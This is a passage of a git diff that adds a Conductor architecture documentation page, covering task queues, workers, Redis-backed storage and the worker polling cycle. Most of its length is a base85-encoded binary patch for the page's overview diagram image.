**Task queues**—Distributed queues for each task type, where tasks are completed on a first-in-first-out basis. +* **Task workers**—Poll the Conductor server via HTTP or gRPC for tasks, execute tasks, and update the server on the task status. Each worker is responsible for carrying out a specific task type. +* **Data stores** (Redis by default)—High-availability persistence stores that maintain workflow and task metadata, task queues, and execution history +* **APIs**—REST APIs for programmatic access to the Conductor server. + + +By default, Conductor uses Redis as its data store, with Elasticsearch used for its indexing backend. These [storage layers are pluggable](../../documentation/advanced/extend.md), allowing you to work with alternative backends and queue service providers. + + +## Task execution + +With a worker-task queue architecture, Conductor schedules and assigns tasks to its designated task queues based on its task type. Conductor follows an RPC-based communication model where task workers run on a separate machine from the server and communicate over HTTP-based endpoints with the server. + +The workers employ a polling model for managing their designated queues, and update Conductor with the task status. + +![Runtime Model of Conductor.](overview.png) + + + +### Worker-server polling mechanism + + +Each worker declares beforehand what task(s) it can execute. At runtime, task workers poll its designated task queue(s) to receive and execute scheduled work. Conductor passes task inputs to the worker for execution and collects the task outputs, continuing the process according to the workflow definition. + +By default, workers infinitely poll Conductor every 100ms. The polling interval value for each type of worker can be adjusted accordingly based on factors like workload. Here is the polling mechanism in detail: + +1. The application starts a workflow execution by interacting with Orkes Conductor, which returns a workflow (execution) ID. It can be used to track the workflow's progress and manage its execution. +2. Conductor schedules the first task in the workflow to its task queue. +3. The workers responsible for executing the first task within the workflow are polling Orkes Conductor for tasks to execute via HTTP or gRPC. When a task is scheduled, Conductor sends it to the next available worker, which then performs the required work. +4. Periodically, the worker returns the task status to Conductor (e.g. IN PROGRESS, FAILED, COMPLETED, etc). +5. Once the first task in the workflow instance is completed, the worker returns the task output to the server, and Conductor schedules the next set of tasks to be performed. + +Conductor manages and maintains the workflow state, keeping track of which tasks have been completed and which are still pending. This ensures that the workflow is executed correctly, with each task triggered precisely at the right time. + +Using the workflow ID, the application can check the Conductor server for the workflow status at any time. This is particularly useful for asynchronous or long-running workflows, as it allows the application to monitor the workflow's progress and take appropriate action, such as pausing or terminating the workflow if needed. \ No newline at end of file diff --git a/docs/devguide/architecture/overview.png b/docs/devguide/architecture/overview.png new file mode 100644 index 0000000000000000000000000000000000000000..62a454a03ba0dc830d58a1f01b383416cc2467b0 GIT binary patch literal 49273 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 